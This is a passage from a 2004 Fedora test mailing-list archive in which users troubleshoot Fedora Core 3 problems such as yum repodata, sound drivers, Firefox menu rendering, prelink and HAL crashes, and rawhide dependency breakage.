2004 11:13:28 -0700 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <1100963664.9129.16.camel@mobile01> References: <200411201600.56599.livelinux@nwst.de> <1100963664.9129.16.camel@mobile01> Message-ID: <20041123181328.GF13114@charlescurley.com> On Sat, Nov 20, 2004 at 09:14:24AM -0600, Matthew E. Lauterbach wrote: > On Sat, 2004-11-20 at 16:00 +0100, Dirk Westfal wrote: > > hi, > > > > how do i create a 'repodata' folder and the appropiate files for a local yum > > repository ? Is there a howto somewhere ? > > > > tia! > > > > Best Regards > > Dirk Westfal > > > > How to build a custom Yum Repository in FC3: > http://fedoranews.org/contributors/richard_flude/repo/ Thank you. It would help if this information were included in the yum documentation, say in man yum, or the message about deprecation in yum-arch, or -- better -- in both. Two other data. * createrepo installs nicely in a current FC1 installation. * Since createrepo and yum-arch create their data in different directories, it is harmless to execute both. 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Or Mars - We're working on it... http://www.nasa.gov/missions/solarsystem/bush_vision.html Of course there's the down-side... http://www.space.com/news/aps_report_041123.html http://www.nytimes.com/2004/11/23/politics/23spend.html Enough OT for today. Phil From bednar007 at gmail.com Tue Nov 23 22:51:47 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Tue, 23 Nov 2004 23:51:47 +0100 Subject: No sound on laptop, continued Message-ID: <38f00b2a04112314517b643fa1@mail.gmail.com> I got it almost working. I've installed alsa-driver rpm form atrpms.net and then started alsaconfig, which found my card in database, added some lines to /etc/modprobe.conf and started alsa (/etc/init.d/alsasound start). Then I had to pull up sliders in alsamixer and I have sound, but I have to do this every time I boot my laptop. I added /etc/init.d/alsasound et the end of rclocal script, but this deas not work without running alsaconfig. There are two things: 1.alsamixer and gnome-mixer do not save volume levels (I always get muted PCM and phones sliders (both volume 0% and mute checkbox)). 2.Before starting alsaconf when I want to play some music with e.g. aplay I got error: codec read 0: semaphore is not ready for register 0x2c Darek Borkowski From bednar007 at gmail.com Tue Nov 23 22:55:47 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Tue, 23 Nov 2004 23:55:47 +0100 Subject: Laptop suddenly turned off Message-ID: <38f00b2a041123145562799ef8@mail.gmail.com> I have some problems sinc FC3test2. With every kernel since test2 sometimes laptop plugged to AC outlet or battery supplied turns off. It works at random times, but today, after upgrading to 2.6.9-1.681_FC3 the laptop turned off 4 times in 1 hour. It is too much. I've just been working in gnome (configuring sound or network) when it took place. How to fight this? I have now FC3 final (clean install). Darek Borkowski From TVarveris at wiley.com Tue Nov 23 23:00:28 2004 From: TVarveris at wiley.com (TVarveris at wiley.com) Date: Tue, 23 Nov 2004 18:00:28 -0500 Subject: Terri Varveris/P&T/NewYork909/Wiley is out of the office. Message-ID: I will be out of the office starting 11/23/2004 and will not return until 11/29/2004. I'm out until Monday, Nov. 29th. I'll be checking emails. You can reach me on Wednesday, the 24th, at 718-984-8731. Have a wonderful Thanksgiving! Terri From fct-cornette at insight.rr.com Tue Nov 23 23:02:02 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Tue, 23 Nov 2004 18:02:02 -0500 Subject: Fedora Core 3 Test Update: prelink-0.3.3-0.fc3 In-Reply-To: <20041123171352.GA10340@devserv.devel.redhat.com> References: <20041123171352.GA10340@devserv.devel.redhat.com> Message-ID: <41A3C16A.90406@insight.rr.com> > --------------------------------------------------------------------- > Update Information: > > I believe this should fix the problems people are seeing with eggcups > or gnome-volume-manager. For testing I'd especially appreciate testers > updating to this prelink right after FC3 install, prelink at that point > (either by manually running /etc/cron.daily/prelink or waiting a day) > and only afterwards up2dating other packages and re-prelinking again. > --------------------------------------------------------------------- > * Tue Nov 23 2004 Jakub Jelinek 0.3.3-0.fc3 I was experiencing this error today. Both programs mentioned were problematic. I would have not guessed the culpret. Thanks! I take it that I run /etc/cron.daily/prelink or wait. Also, there were no desktop icons displayed in gnome with this problem. The gnome-panel seemed to be normal. Jim From paul at all-the-johnsons.co.uk Tue Nov 23 23:42:16 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Tue, 23 Nov 2004 23:42:16 +0000 Subject: That last set of updates has upset my box! Message-ID: <1101253336.3346.29.camel@localhost.localdomain> Hi, In a nutshell, here's what has happened tonight. Everything was normal, I did an update, updated from svn mono and the other bits from there and was doing my email. I noticed that gtkhtml-sharp wasn't compiling. The script in gtk-sharp is supposed to pick up libgtkhtml3, see if it's new enough and if it is, will create gtkhtml-sharp (it's just a wrapper). Now, I know that libgtkhtml is on this machine (otherwise the likes of Evolution wouldn't work). Open a terminal, /sbin/ldconfig lots of errors about files not being symlinks. Oh dear. Then odd things start happening. All email gets sent to the junk folder in Evolution, terminal windows fail to open, desktop icons stop working, panel applets fail to operate.... I swapped to tty1 and typed rpm -q gtkhtml-devel Machine replies that /usr/lib/libpopt cannot be found. Sure enough, it had vanished - along with quite a few other libraries. Okay, reboot, see what happens. Lots of errors about libpopt not being there. Damn. I can log in to a tty, but no network. I burn my /usr/lib directory to CD from the laptop (also on rawhide) and copy it to this machine. That's better. I don't get the libpopt error now. Reboot. No network, no desktop (Id 'x' respawned too quickly). Reboot, switch off selinux incase that was the problem. This time, I get eth0 up, but no desktop. Not a problem, downgrade to a previous version of xorg-x11, reboot with selinux. No eth0, but with desktop. Try the last selinux, reboot - same as before, no eth0 when it's enabled. I'm now running on a machine without selinux and an older xorg-x11. Anyone else seeing this? TTFN Paul -- "I'm gonna hit the highway like a bat out of hell with a Cilla Black fan on the bike" - Meatloaf -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jspaleta at gmail.com Tue Nov 23 23:50:12 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Tue, 23 Nov 2004 18:50:12 -0500 Subject: That last set of updates has upset my box! In-Reply-To: <1101253336.3346.29.camel@localhost.localdomain> References: <1101253336.3346.29.camel@localhost.localdomain> Message-ID: <604aa791041123155036f3c528@mail.gmail.com> On Tue, 23 Nov 2004 23:42:16 +0000, Paul wrote: > In a nutshell, here's what has happened tonight. > > Everything was normal, I did an update, updated from svn mono and the > other bits from there and was doing my email. What packages did you update specifically? Are you talking about fc3 updates from the fc3 updates-released and updates-testing? Or are you talking about updates from the development repository? Or are you talking about some other repository location? > Anyone else seeing this? Without more specifics about what exactly you updated and from where... its difficult for anyone to make a meaningful comparison. -jef From paul at all-the-johnsons.co.uk Tue Nov 23 23:52:34 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Tue, 23 Nov 2004 23:52:34 +0000 Subject: That last set of updates has upset my box! In-Reply-To: <604aa791041123155036f3c528@mail.gmail.com> References: <1101253336.3346.29.camel@localhost.localdomain> <604aa791041123155036f3c528@mail.gmail.com> Message-ID: <1101253954.3346.30.camel@localhost.localdomain> Hi, > > Everything was normal, I did an update, updated from svn mono and the > > other bits from there and was doing my email. > > What packages did you update specifically? Are you talking about fc3 > updates from the fc3 updates-released and updates-testing? Or are you > talking about updates from the development repository? Or are you > talking about some other repository location? development branch (rawhide). I keep the safe stuff for work. I like to live dangerously here (it annoys the wife!) TTFN Paul -- "I'm gonna hit the highway like a bat out of hell with a Cilla Black fan on the bike" - Meatloaf -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From gillb4 at telusplanet.net Wed Nov 24 00:02:32 2004 From: gillb4 at telusplanet.net (Bob Gill) Date: Tue, 23 Nov 2004 17:02:32 -0700 Subject: Would like to add module parameters Message-ID: <1101254552.4025.7.camel@localhost.localdomain> Hi. I am using FC3. The firewire in FC3 mounts my firewire drives fine at boot, but I am having problems with the sbp2 (serial bus protocol 2) kernel module --it gives me "ieee1394: sbp2: aborting sbp2 command" about 40 times per hour (and times out for 30 seconds each time). An official solution is to add the parameter 'serialize_io' when I load the sbp2 module (with modprobe). This was nice and easy before the days of hotplug, as I could just add serialize_io to /etc/modules.conf. Things are not so easy in the land of hotplug. Where in /etc/hotplug/hotplug.functions can I add the parameter serialize_io (or can I)? There doesn't seem to be anywhere to add module parameters (without re-writing the script). Thanks in advance, Bob -- Bob Gill From mullens at ntlworld.com Wed Nov 24 04:53:39 2004 From: mullens at ntlworld.com (richard mullens) Date: Wed, 24 Nov 2004 04:53:39 +0000 Subject: FC3 - mpage seems to require fonts that are not installed ? Message-ID: <41A413D3.30108@ntlworld.com> If I do the following:- echo test >test.txt mpage -bA4 -H test.txt >test.ps gv test.ps then gv complains of Error: /undefinedresource in --findresource-- Operand stack: unijis Ryumin-Light-UniJIS-UTF8-H Font Ryumin-Light-UniJIS-UTF8-H (Ryumin-Light-UniJIS-UTF8-H) 12 Ryumin-Light UniJIS-UTF8-H UniJIS-UTF8-H --dict:0/10(G)-- Ryumin-Light false Ryumin-Light Ryumin-Light CIDFont --nostringval-- CMap CIDFont CMap CIDFont Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push 1 3 %oparray_pop 1 3 %oparray_pop 1 3 %oparray_pop 1 3 %oparray_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 2 3 %oparray_pop 3 3 %oparray_pop --nostringval-- --nostringval-- 16 4 %oparray_pop --nostringval-- 19 5 %oparray_pop --nostringval-- --nostringval-- --nostringval-- --nostringval-- Dictionary stack: --dict:1061/1123(ro)(G)-- --dict:0/20(G)-- --dict:100/200(L)-- --dict:17/17(ro)(G)-- --dict:0/10(L)-- --dict:16/24(ro)(G)-- Current allocation mode is local Last OS error: 2 GNU Ghostscript 7.07: Unrecoverable error, exit code 1 From match at dimensional.com Wed Nov 24 04:58:34 2004 From: match at dimensional.com (Match Grun) Date: Tue, 23 Nov 2004 21:58:34 -0700 Subject: need information about a program. In-Reply-To: References: <1101228656.3308.2.camel@nexus.verbum.private> Message-ID: <20041123215834.2eaa561f@lockjaw> On Tue, 23 Nov 2004 10:13:47 -0700 richard wilson wrote: > thanks. seems to have work wonders. > > > On Tue, 23 Nov 2004 11:50:55 -0500, Colin Walters > wrote: > > On Tue, 2004-11-23 at 09:40 -0700, richard wilson wrote: > > > eggcups? never heard of this program can anyone tell me what it > > > does and why it keeps taking down my system? > > > > http://bugzilla.redhat.com/beta2/show_bug.cgi?id=140081 > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > I had the same problem after installing FC3 last weekend. I traced the problem to HAL. Verbose option on hald command line output 4 lines and segfaulted. I re-installed the following rpms: hal-0.4.0-10.i386.rpm hal-cups-utils-0.5.2-8.i386.rpm hal-devel-0.4.0-10.i386.rpm hal-gnome-0.4.0-10.i386.rpm with rpm -Uvh --force *.rpm Maybe there was a problem with the configuration files before re-install? I got a lonnnnggg debug trace after re-installing. HAL, gnome-volume-manager and eggcups seem to be working now. Match From maxer1 at xmission.com Wed Nov 24 05:10:35 2004 From: maxer1 at xmission.com (maxer1) Date: Tue, 23 Nov 2004 22:10:35 -0700 Subject: kernel module support for sk98lin and FC3 Message-ID: <41A417CB.2000702@xmission.com> Apparently the latest driver update from SysKonnect for the Marvell Yukon net driver will work in the stock kernel 2.6.9, didn't try the source for 681 from FC3 though. RaXeT From DwaineGarden at rogers.com Wed Nov 24 06:53:19 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Wed, 24 Nov 2004 01:53:19 -0500 Subject: Yum excluding openoffice from update In-Reply-To: References: <419C497E.708@rogers.com> <1100761713.6336.39.camel@cutter> <419C4BA4.7070507@rogers.com> <1100762262.6336.45.camel@cutter> <419C4F40.4090509@rogers.com> <1100763146.6336.60.camel@cutter> <419C5122.7050109@rogers.com> Message-ID: <41A42FDF.4060609@rogers.com> Dan Williams wrote: >Hi, > >This will hopefully be fixed by tomorrow with a rebuild of OOo. > >Dan > >On Thu, 18 Nov 2004, Dwaine Garden wrote: > > > >>seth vidal wrote: >> >> >> >>>>Developm >>>>db4.i386 4.3.21-1 rawhide >>>>Developm >>>>db4-devel.i386 4.3.21-1 rawhide >>>>Developm >>>>db4-utils.i386 4.3.21-1 rawhide >>>> >>>> >>>> >>>> >>>This is where it's coming from. >>> >>>db4 is changing in the development branch and that's broken a dep in >>>openoffice. >>> >>>Did you intend to be running rawhide? >>> >>>If so you've just found a broken dep. >>> >>>That happens. >>>-sv >>> >>> >>> >>> >>> >>> >>Yep.... I test out the usbvision driver with the latest and greatest. >>It been like that for about three days. Usually, the broken dep's are >>resolved by now. >> >>Thanks for helping... >> >>Dwaine. >> >> >> >>-- >>fedora-test-list mailing list >>fedora-test-list at redhat.com >>To unsubscribe: >>http://www.redhat.com/mailman/listinfo/fedora-test-list >> >> >> > > > It looks like the rebuild of OO did not happen. Yum still give dependancies problem. From sean.bruno at dsl-only.net Wed Nov 24 06:42:16 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Tue, 23 Nov 2004 22:42:16 -0800 Subject: utmpx/wtmpx Message-ID: <1101278536.14633.5.camel@wbar3.sea1-4-5-117-171.sea1.dsl-verizon.net> Does anyone know how to debug login record issues or who to talk to about login record issues? I am experiencing a weird issue described in bugzilla 140297 and I would like to debug it myself, but I don't seem to be able to find anyone to assist me with it. Sean From DwaineGarden at rogers.com Wed Nov 24 07:21:40 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Wed, 24 Nov 2004 02:21:40 -0500 Subject: Getting SPRING Multi-Card media reader working under Fedora In-Reply-To: References: <41919B17.2080503@rogers.com> Message-ID: <41A43684.9040800@rogers.com> Jon Nettleton wrote: >All you need to do is add max_scsi_luns=8 to the end of your kernel >line in /etc/grub.conf. The number should be the number of slots you >have on the device > >http://fedoranews.org/krishnan/tips/tip044.shtml > >- > I had to change the syntax to match what was needed for kernel 2.6.x. But it worked. Thanks. Dwaine. From backes at rhrk.uni-kl.de Wed Nov 24 07:26:19 2004 From: backes at rhrk.uni-kl.de (Joachim Backes) Date: Wed, 24 Nov 2004 08:26:19 +0100 Subject: Firefox-1.0-2.fc3 in FC3 Message-ID: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> Hi, having the problem that firefox-1.0-2.fc3 displays pulldown menus in websites like www.macrovision.com in a transparent manner so that they are partially unreadable. Can somebody tell how to switch off this behaviour? -- Regards Joachim Backes Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From shrek-m at gmx.de Wed Nov 24 07:53:22 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Wed, 24 Nov 2004 08:53:22 +0100 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> Message-ID: <41A43DF2.7020505@gmx.de> Joachim Backes wrote: >firefox-1.0-2.fc3 > $ lftp download.fedora.redhat.com:~> ls -l pub/fedora/linux/core/updates/3/i386/firefox-1.0-2.fc3.i386.rpm -rw-r--r-- 1 ftp ftp 8508962 Nov 11 20:14 firefox-1.0-2.fc3.i386.rpm http://www.redhat.com/mailman/listinfo/fedora-list -- shrek-m From backes at rhrk.uni-kl.de Wed Nov 24 08:52:28 2004 From: backes at rhrk.uni-kl.de (Joachim Backes) Date: Wed, 24 Nov 2004 09:52:28 +0100 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <41A43DF2.7020505@gmx.de> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> <41A43DF2.7020505@gmx.de> Message-ID: <1101286348.25017.12.camel@sunny.rhrk.uni-kl.de> On Wed, 2004-11-24 at 08:53 +0100, shrek-m at gmx.de wrote: > Joachim Backes wrote: > > >firefox-1.0-2.fc3 > > > > $ lftp download.fedora.redhat.com:~> > ls -l pub/fedora/linux/core/updates/3/i386/firefox-1.0-2.fc3.i386.rpm > -rw-r--r-- 1 ftp ftp 8508962 Nov 11 20:14 > firefox-1.0-2.fc3.i386.rpm Did not solve my problem. The behaviour still remains odd. In mozilla, the pulldown menus work properly. > > > http://www.redhat.com/mailman/listinfo/fedora-list > > -- > shrek-m > -- Regards Joachim Backes Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From w.murray at rl.ac.uk Wed Nov 24 09:24:58 2004 From: w.murray at rl.ac.uk (William John Murray) Date: Wed, 24 Nov 2004 09:24:58 +0000 Subject: FC4, synaptics and ps mouse Message-ID: <1101288298.3767.3.camel@wjmurray> Hello there, I have a laptop with synaptics touchpad and ps mouse. These work very well together, allowing fancy tapping with the synaptics and scrolling using the ps mouse wheel, but ONLY after adding the grub boot line: psmouse.resetafter=3 This took quite a lot of googling to find, and I wonder if there is a reason this behaviour could not be default? Laptop convenience is something FC4 should aim for, in my opinion... Bill From harald at redhat.com Wed Nov 24 11:36:00 2004 From: harald at redhat.com (Harald Hoyer) Date: Wed, 24 Nov 2004 12:36:00 +0100 Subject: CDrw drive issue In-Reply-To: <419F5649.2030505@email.si> References: <419F5649.2030505@email.si> Message-ID: <41A47220.2040100@redhat.com> b r u ma wrote: > Should I insert some module to get it working, I also notice that there > is no device for scsi cdrw?!? ?? $ ls -l /dev/cd* $ ls -l /dev/scd* > > Any suggestions? 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Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From alor at taipang.com Wed Nov 24 10:50:31 2004 From: alor at taipang.com (Alor) Date: Wed, 24 Nov 2004 15:50:31 +0500 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <1101286348.25017.12.camel@sunny.rhrk.uni-kl.de> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> <41A43DF2.7020505@gmx.de> <1101286348.25017.12.camel@sunny.rhrk.uni-kl.de> Message-ID: <41A46777.8030503@taipang.com> Joachim Backes wrote: >On Wed, 2004-11-24 at 08:53 +0100, shrek-m at gmx.de wrote: > > >>Joachim Backes wrote: >> >> >> >>>firefox-1.0-2.fc3 >>> >>> >>> >>$ lftp download.fedora.redhat.com:~> >>ls -l pub/fedora/linux/core/updates/3/i386/firefox-1.0-2.fc3.i386.rpm >>-rw-r--r-- 1 ftp ftp 8508962 Nov 11 20:14 >>firefox-1.0-2.fc3.i386.rpm >> >> > >Did not solve my problem. The behaviour still remains odd. >In mozilla, the pulldown menus work properly. > > > >>http://www.redhat.com/mailman/listinfo/fedora-list >> >>-- >>shrek-m >> >> >> firefox-1.0-2.i386.rpm in development folder has no this problem. Alor. From backes at rhrk.uni-kl.de Wed Nov 24 12:14:56 2004 From: backes at rhrk.uni-kl.de (Joachim Backes) Date: Wed, 24 Nov 2004 13:14:56 +0100 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <41A46777.8030503@taipang.com> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> <41A43DF2.7020505@gmx.de> <1101286348.25017.12.camel@sunny.rhrk.uni-kl.de> <41A46777.8030503@taipang.com> Message-ID: <1101298496.26883.0.camel@sunny.rhrk.uni-kl.de> On Wed, 2004-11-24 at 15:50 +0500, Alor wrote: > Joachim Backes wrote: > > >On Wed, 2004-11-24 at 08:53 +0100, shrek-m at gmx.de wrote: > > > > > >>Joachim Backes wrote: > >> > >> > >> > >>>firefox-1.0-2.fc3 > >>> > >>> > >>> > >>$ lftp download.fedora.redhat.com:~> > >>ls -l pub/fedora/linux/core/updates/3/i386/firefox-1.0-2.fc3.i386.rpm > >>-rw-r--r-- 1 ftp ftp 8508962 Nov 11 20:14 > >>firefox-1.0-2.fc3.i386.rpm > >> > >> > > > >Did not solve my problem. The behaviour still remains odd. > >In mozilla, the pulldown menus work properly. > > > > > > > >>http://www.redhat.com/mailman/listinfo/fedora-list > >> > >>-- > >>shrek-m > >> > >> > >> > firefox-1.0-2.i386.rpm in development folder has no this problem. > > Alor. Hi, Alor, I'm sorry, but you are not right, the problem remains. > -- Regards Joachim Backes Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From P.R.Schaffner at IEEE.org Wed Nov 24 12:33:04 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Wed, 24 Nov 2004 07:33:04 -0500 Subject: Would like to add module parameters In-Reply-To: <1101254552.4025.7.camel@localhost.localdomain> References: <1101254552.4025.7.camel@localhost.localdomain> Message-ID: <1101299584.3961.1.camel@tabb1.tabb> On Tue, 2004-11-23 at 17:02 -0700, Bob Gill wrote: > Hi. I am using FC3... Then the appropriate list for this question would be fedora-list. http://www.redhat.com/mailman/listinfo/fedora-list Phil From twaugh at redhat.com Wed Nov 24 12:33:19 2004 From: twaugh at redhat.com (Tim Waugh) Date: Wed, 24 Nov 2004 12:33:19 +0000 Subject: FC3 - mpage seems to require fonts that are not installed ? In-Reply-To: <41A413D3.30108@ntlworld.com> References: <41A413D3.30108@ntlworld.com> Message-ID: <20041124123319.GK3459@redhat.com> On Wed, Nov 24, 2004 at 04:53:39AM +0000, richard mullens wrote: > If I do the following:- > > echo test >test.txt > mpage -bA4 -H test.txt >test.ps > gv test.ps > > then gv complains of > > Error: /undefinedresource in --findresource-- Already noted in bug #139798. Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From alor at taipang.com Wed Nov 24 12:58:17 2004 From: alor at taipang.com (Alor) Date: Wed, 24 Nov 2004 17:58:17 +0500 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <1101298496.26883.0.camel@sunny.rhrk.uni-kl.de> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> <41A43DF2.7020505@gmx.de> <1101286348.25017.12.camel@sunny.rhrk.uni-kl.de> <41A46777.8030503@taipang.com> <1101298496.26883.0.camel@sunny.rhrk.uni-kl.de> Message-ID: <41A48569.3090203@taipang.com> Joachim Backes wrote: >On Wed, 2004-11-24 at 15:50 +0500, Alor wrote: > > >>Joachim Backes wrote: >> >> >> >>>On Wed, 2004-11-24 at 08:53 +0100, shrek-m at gmx.de wrote: >>> >>> >>> >>> >>>>Joachim Backes wrote: >>>> >>>> >>>> >>>> >>>> >>>>>firefox-1.0-2.fc3 >>>>> >>>>> >>>>> >>>>> >>>>> >>>>$ lftp download.fedora.redhat.com:~> >>>>ls -l pub/fedora/linux/core/updates/3/i386/firefox-1.0-2.fc3.i386.rpm >>>>-rw-r--r-- 1 ftp ftp 8508962 Nov 11 20:14 >>>>firefox-1.0-2.fc3.i386.rpm >>>> >>>> >>>> >>>> >>>Did not solve my problem. The behaviour still remains odd. >>>In mozilla, the pulldown menus work properly. >>> >>> >>> >>> >>> >>>>http://www.redhat.com/mailman/listinfo/fedora-list >>>> >>>>-- >>>>shrek-m >>>> >>>> >>>> >>>> >>>> >>firefox-1.0-2.i386.rpm in development folder has no this problem. >> >>Alor. >> >> > >Hi, Alor, I'm sorry, but you are not right, the problem remains. > > I'm using FC3 and installed rpm -Uhv firefox-1.0-2.i386.rpm and have no any problem with pulldown menus at all. Can you describe your problem? Alor. From shrek-m at gmx.de Wed Nov 24 12:59:35 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Wed, 24 Nov 2004 13:59:35 +0100 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <1101298496.26883.0.camel@sunny.rhrk.uni-kl.de> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> <41A43DF2.7020505@gmx.de> <1101286348.25017.12.camel@sunny.rhrk.uni-kl.de> <41A46777.8030503@taipang.com> <1101298496.26883.0.camel@sunny.rhrk.uni-kl.de> Message-ID: <41A485B7.20508@gmx.de> Joachim Backes wrote: >Hi, Alor, I'm sorry, but you are not right, the problem remains. > > you _was_ posting on the wrong list and please learn to quote. you can try to move your firefox-settings $ mv ~/.mozilla/firefox ~/ff-save start firefox and "do not import anything" -- shrek-m From backes at rhrk.uni-kl.de Wed Nov 24 13:27:58 2004 From: backes at rhrk.uni-kl.de (Joachim Backes) Date: Wed, 24 Nov 2004 14:27:58 +0100 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <41A48569.3090203@taipang.com> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> <41A43DF2.7020505@gmx.de> <1101286348.25017.12.camel@sunny.rhrk.uni-kl.de> <41A46777.8030503@taipang.com> <1101298496.26883.0.camel@sunny.rhrk.uni-kl.de> <41A48569.3090203@taipang.com> Message-ID: <1101302878.26883.21.camel@sunny.rhrk.uni-kl.de> On Wed, 2004-11-24 at 17:58 +0500, Alor wrote: > Joachim Backes wrote: > > >On Wed, 2004-11-24 at 15:50 +0500, Alor wrote: > > > > > >>Joachim Backes wrote: > >> > >> > >> > >>>On Wed, 2004-11-24 at 08:53 +0100, shrek-m at gmx.de wrote: > >>> > >>> > >>> > >>> > >>>>Joachim Backes wrote: > >>>> > >>>> > >>>> > >>>> > >>>> > >>>>>firefox-1.0-2.fc3 > >>>>> > >>>>> > >>>>> > >>>>> > >>>>> > >>>>$ lftp download.fedora.redhat.com:~> > >>>>ls -l pub/fedora/linux/core/updates/3/i386/firefox-1.0-2.fc3.i386.rpm > >>>>-rw-r--r-- 1 ftp ftp 8508962 Nov 11 20:14 > >>>>firefox-1.0-2.fc3.i386.rpm > >>>> > >>>> > >>>> > >>>> > >>>Did not solve my problem. The behaviour still remains odd. > >>>In mozilla, the pulldown menus work properly. > >>> > >>> > >>> > >>> > >>> > >>>>http://www.redhat.com/mailman/listinfo/fedora-list > >>>> > >>>>-- > >>>>shrek-m > >>>> > >>>> > >>>> > >>>> > >>>> > >>firefox-1.0-2.i386.rpm in development folder has no this problem. > >> > >>Alor. > >> > >> > > > >Hi, Alor, I'm sorry, but you are not right, the problem remains. > > > > > I'm using FC3 and installed > rpm -Uhv firefox-1.0-2.i386.rpm > and have no any problem with pulldown menus at all. > Can you describe your problem? See: When calling "www.macrovision.com", then at the top of this web page you will see a bar (Solutions by Industry,...) containing pull down menus. The pulldownmenus a arising if you traverse this bar. But these pulldown menus are transparent, that is: their background is empty so they cannot be properly read. Hope this explains what I mean. > > Alor. > > -- Regards Joachim Backes Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From doug at dmaurer.net Wed Nov 24 12:33:31 2004 From: doug at dmaurer.net (Doug Maurer) Date: Wed, 24 Nov 2004 07:33:31 -0500 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <1101302878.26883.21.camel@sunny.rhrk.uni-kl.de> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> <41A43DF2.7020505@gmx.de> <1101286348.25017.12.camel@sunny.rhrk.uni-kl.de> <41A46777.8030503@taipang.com> <1101298496.26883.0.camel@sunny.rhrk.uni-kl.de> <41A48569.3090203@taipang.com> <1101302878.26883.21.camel@sunny.rhrk.uni-kl.de> Message-ID: <1101299612.2164.1.camel@dougs.dmaurer.net> > See: When calling "www.macrovision.com", then at the top of this web > page you will see a bar (Solutions by Industry,...) containing pull > down menus. The pulldownmenus a arising if you traverse this bar. > But these pulldown menus are transparent, that is: their background > is empty so they cannot be properly read. > > Hope this explains what I mean. > > > > > Alor. > > > > > -- > Regards > > Joachim Backes > didn't see a problem on this end Doug From alor at taipang.com Wed Nov 24 13:39:16 2004 From: alor at taipang.com (Alor) Date: Wed, 24 Nov 2004 18:39:16 +0500 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <1101302878.26883.21.camel@sunny.rhrk.uni-kl.de> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> <41A43DF2.7020505@gmx.de> <1101286348.25017.12.camel@sunny.rhrk.uni-kl.de> <41A46777.8030503@taipang.com> <1101298496.26883.0.camel@sunny.rhrk.uni-kl.de> <41A48569.3090203@taipang.com> <1101302878.26883.21.camel@sunny.rhrk.uni-kl.de> Message-ID: <41A48F04.3020304@taipang.com> Joachim Backes wrote: >See: When calling "www.macrovision.com", then at the top of this web >page you will see a bar (Solutions by Industry,...) containing pull >down menus. The pulldownmenus a arising if you traverse this bar. >But these pulldown menus are transparent, that is: their background >is empty so they cannot be properly read. > > I just called www.macrovision.com and it's works well. Background is not transparent "dark blue" and by moving mouse "red". Try remove directory ~/.mozilla/firefox and run firefox again. Best regards, Alor From jonathansavage at gmail.com Wed Nov 24 14:24:07 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Wed, 24 Nov 2004 06:24:07 -0800 Subject: Laptop suddenly turned off In-Reply-To: <38f00b2a041123145562799ef8@mail.gmail.com> References: <38f00b2a041123145562799ef8@mail.gmail.com> Message-ID: <2ad7cea104112406247127c41@mail.gmail.com> > I have some problems sinc FC3test2. With every kernel since test2 > sometimes laptop plugged to AC outlet or battery supplied turns off. > It works at random times, but today, after upgrading to > 2.6.9-1.681_FC3 > the laptop turned off 4 times in 1 hour. It is too much. > I've just been working in gnome (configuring sound or network) when it > took place. > How to fight this? I have now FC3 final (clean install). I had the same behaviour on my laptop. After a little troubleshooting it turned out that one of my memory sticks had gone bad. Try running memtest, I believe that is an option from cd 1. -- Bests, Jon From alaxsxaq at gmail.com Wed Nov 24 14:41:45 2004 From: 